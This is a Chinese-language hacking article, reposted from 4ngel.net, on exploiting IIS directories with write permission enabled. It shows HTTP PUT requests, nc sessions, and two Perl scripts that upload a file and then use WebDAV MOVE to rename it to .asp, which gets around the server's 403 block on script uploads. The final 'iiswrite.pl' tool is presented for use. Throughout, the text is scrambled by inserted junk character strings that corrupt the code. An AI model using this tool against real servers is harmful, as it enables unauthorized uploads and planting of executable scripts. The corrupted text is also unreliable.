对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

$ D- T/ k+ d# I0 l' s# I, k

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

8 a' d! j% b* ~

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue ; w' f4 r7 t( b3 @& aServer: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:00 GMT

6 {# b4 T( ]* R1 j' C" N

　　接着，我们输入10个字母：

0 Q$ B6 U' A$ Q8 c+ A4 q1 l! e

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

) i2 U; ?9 r3 U

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 - |# n% w( { ]% d. N5 FDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt / W$ U/ r4 M( V! oContent-Length: 0 + v; X6 t6 \3 k5 Y# I$ L+ j7 @Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

9 A z4 K6 e! Z5 P

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

2 v$ w, ]- e3 j; O4 p d

% G/ L) O. O1 @: LPUT /dir/my_file.txt HTTP/1.1 2 V2 R; n! K3 i, I& SHost: iis-server Content-Length: 10

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

& q U0 r R' X) ~

* o6 n' I- Z% d1 G" ?4 I. q( @+ v

#!/usr/bin/perl use I:Socket; $ARGC = @ARGV;

if ($ARGC != 4) ! s6 ?8 |' r+ i9 @# p6 V( X) O{ 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 2 l6 L. u! ]1 ?　　exit; * i& y! p- g$ ?9 [' G3 o! S; D} 0 G8 q) g" D' {1 N5 M$host = @ARGV[0]; $port = @ARGV[1]; $file = @ARGV[2]; $path = @ARGV[3];

@s=stat("$file"); $size = $s[7]; #得到文件大小 / `+ W9 b. s: cprint "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", 0 F: |5 G7 v# t1 }PeerAddr =>$host, ! V; O( j! R( w& e. ePeerPort =>$port) || die "Sorry! Could not connect to $host \n"; . P3 U L/ ] H4 fprint $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; % G* e% f, ?) Z% cprint $sock "Content-Length: $size\n\n"; #sock连接

; d; j \4 ~! O5 |2 Q% ]" y

open(FILE,"$file"); 0 X# X+ T: {% ubinmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; # {' d, U$ d5 L} 2 q3 H+ u' V3 }: E9 gprint $sock "\n\n"; @req = <$sock>; print "please wait...\n"; 1 s) U! ~ s+ Asleep(2); . ?. N3 J) m# G% U( Z. eif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 - ~ Z( h6 I. r6 S} else{ " S: Q8 Q$ r1 E! |# |　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 } close $sock; close FILE;

! f, A: W5 f) C2 j

　　下面我们测试下：

+ t0 v( L+ R+ r( @2 L0 S

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes + w3 h; t% g* M5 E7 I2 hplease wait... 2 l3 t$ R, ?" W/ s1 Vupfile Succeed!!!

9 ~6 e/ U' C d7 l0 D; r

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 2 k1 T. Z1 l X* Q( o7 B卷的序列号是 3CD1-479E

+ \# L+ p4 R2 c3 }; b3 I

C:\Inetpub\Scripts 的目录

. S$ g( t% h9 c5 o1 v4 M4 B2 g; Z

2004-05-05 00:37 14 kaka.txt 6 [0 L# j* a! c5 s" z1 个文件 14 字节 7 @. Y7 @ H$ a" D" x0 个目录 3,871,080,448 可用字节

& A8 b: h2 ]( q; f6 b# [; Z

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

9 f( B2 b# _. h5 J6 K( K1 ~

# h* z! \4 t4 V

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe 8 L$ F; E8 U; `2 | ~7 j! q2 zperl.exe size is 20535 bytes + ]. q5 S0 g4 [( D Gplease wait... * d! } H! |) r7 n/ I+ y# Jupfile Succeed!!!

8 g8 ~, M. ?0 f+ R" g8 C

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 9 |% j- F/ _6 l; k1 ?& W% c卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

8 Q* Q! K+ J; C. K

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp kaka.asp size is 4 bytes ' X* G8 X/ \+ I" `0 [5 k8 ^please wait... 4 [9 H+ w Z4 A! T. @upfile faile!!!

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

8 `5 V) @7 l! A2 s* `

HTTP/1.1 403 Forbidden / l: m) c* O$ P+ F, A1 g7 q+ mServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT / k+ o f( ]( r# A; s/ _7 E% [Connection: close 9 a$ H: Q5 x7 i$ ~0 g) pContent-Type: text/html 1 } \7 |* e7 w5 cContent-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

; e, \! {) z1 c5 Q& @9 R: l0 S

! p0 O! v7 j9 g6 [% K

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 ' |8 t' f* Z( j# AHost:127.0.0.1 8 w" b' m& M# p7 {2 RDestination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created % ~1 g6 ?3 P- @Server: Microsoft-IIS/5.0 4 c* N+ j& J3 o5 |3 KDate: Sun, 05 Oct 2003 09:30:59 GMT ; |3 h/ D. j* X$ o/ MLocation: http://127.0.0.1/scripts/x.asp 1 w' W3 d! D- e+ sContent-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

. y* Q+ C- x1 [0 t! U0 _& \

　　测试写asp成功：

4 D, M3 p" z2 U : R9 R5 e# c6 o" e' {3 o4 Y( F

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp + i: L6 @9 J8 _. P1 G2 l************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> 2 ^& x8 i$ G, L* l3 s; j9 m************************************************************ / a8 r7 W( P( k4 d# ekaka.asp size is 4 bytes please wait... upfile Succeed!!! Modifyfile Succeed!!!

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

& o! m% `. F, X v6 K% l i, \' `

#!/usr/bin/perl #The iiswrite Script

' i+ \, j1 q' T4 u N* B

use I:Socket; ) G& u) u/ @& A$ ]7 G9 D( B6 H1 k$ARGC = @ARGV; 1 M) u. [8 D$ i# Dprint "*" x 60; 3 x! z( G, A" i% J& oprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; _3 ~% J+ m: Y* x3 tprint "*" x 60,"\n"; if ($ARGC != 4) { - \$ x0 y. v4 X　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } % `: ]8 X$ C" c+ p# H8 M- B$host = @ARGV[0]; ( O' }3 Q- n! `5 K! L! J( v$port = @ARGV[1]; $path = @ARGV[3]; + O Y, p5 z+ T+ z$file = @ARGV[2];

@path=split("/",$path); z) k+ ~( L( c- M. h9 W$any = pop(@path); $path1=join("/",@path); + w7 H# I) e- l@s=stat("$file"); $ n+ Y) x7 o) Y5 p2 L$size = $s[7];

print "$file size is $size bytes\n"; U1 y2 J: Y1 a: }, w* ymy $sock = I:Socket::INET->new(Proto =>"tcp", 9 _9 t7 a" s6 g! y! FPeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; ) t. [8 z* ~% j6 b) d f. s9 ?print $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; , o1 u+ Y8 v0 J; P2 jbinmode(FILE); while (read(FILE,$char,1024)) { d! z7 @- Q% a- ]; ~' s8 U7 _9 ?+ ~　　print $sock "$char"; } - u$ x; A, k5 d. C1 iprint $sock "\n\n"; 9 O8 K' ]* U2 X- R$ U; n' P4 u" l) Y@req = <$sock>; - i K& H; P" v3 b( \$ v1 gprint "please wait...\n"; . t0 `2 O& m+ W% zsleep(2); ' w: A. j L* Y: g) H. V5 Oif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; & Q/ @. _; q# }& m. C7 }. f. o} else{ 　　print "upfile faile!!!\n"; 3 ~$ t, {1 {$ e} close $sock; 6 ~) r5 ?' z) `% Mclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, - o8 U2 M% Z# UPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 0 F6 u0 L: \+ nprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; # v9 }. h# ^* K8 vprint $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; ( A6 C- _/ s, h' q@req = <$sock>; if ($req[0]=~/20\d+|/){ % p6 q) ~ T) p( }0 x- |7 g　　print "Modifyfile Succeed!!!" ; } else{ ! Z. w1 \1 C, [　　print "upfile faile!!!"; . Q* v6 e$ s z8 ?" ~/ |) B5 D9 B} ) F( ~! h5 n' S& Z+ [close $sock